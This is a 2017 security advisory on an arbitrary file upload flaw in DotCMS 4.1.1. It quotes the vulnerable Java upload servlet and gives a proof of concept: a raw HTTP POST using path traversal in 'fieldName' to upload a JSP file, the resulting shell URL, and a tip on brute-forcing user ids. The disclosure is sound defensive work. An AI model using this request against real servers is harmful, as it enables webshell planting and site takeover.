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DotCMS 4.1.1 Shell Upload

Posted on 19 July 2017

==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: xiaotian.wang@dbappsecurity.com.cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.

Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:

private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
throws IOException
{
String fieldName = null;
AjaxFileUploadListener listener = null;
try
{
String fileName = "";

listener = new AjaxFileUploadListener(request.getContentLength());
FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
fieldName = request.getParameter("fieldName");
Enumeration params = request.getParameterNames();
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
ServletFileUpload upload = new ServletFileUpload(factory);

List items = upload.parseRequest(request);
boolean hasError = false;
this.isEmptyFile = false;

String userId = null;
if (UtilMethods.isSet(session.getAttribute("USER_ID")))
{
userId = (String)session.getAttribute("USER_ID");
User user = UserLocalManagerUtil.getUserById(userId);
if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
throw new Exception("Could not upload File. Invalid User");
}
}
else
{
throw new Exception("Could not upload File. Invalid User");
}
for (Iterator i = items.iterator(); i.hasNext();)
{
FileItem fileItem = (FileItem)i.next();
if (!fileItem.isFormField())
{
if (fileItem.getSize() == 0L) {
this.isEmptyFile = true;
}
if (fileItem.getName().contains(File.separator)) {
fileName = fileItem.getName().substring(fileItem
.getName().lastIndexOf(File.separator) + 1);
} else {
fileName = fileItem.getName();
}
fileName = ContentletUtil.sanitizeFileName(fileName);

File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
if (!isValidPath(tempUserFolder.getCanonicalPath())) {
throw new IOException("Invalid fileName or Path");
}
if (!tempUserFolder.exists()) {
tempUserFolder.mkdirs();
}
File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
if (dest.exists()) {
dest.delete();
}
fileItem.write(dest);
fileItem.delete();
}
}
if (this.isEmptyFile) {
fileName = "";
}
if (!hasError) {
sendCompleteResponse(response, null);
} else {
sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
}
}
catch (Exception e)
{
listener.error("error");
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
sendCompleteResponse(response, e.getMessage());
e.printStackTrace();
}
}

tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-definedi1/4so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC && EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
Host: 192.168.1.204:8080
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------1234995635
Cookie: your own cookies
Connection: close
Content-Length: 138

----------1234995635
Content-Disposition: form-data; name="xxx"; filename="test.jsp"

<% out.print("test_for_fun!");%>
----------1234995635--

3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp

Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .

 

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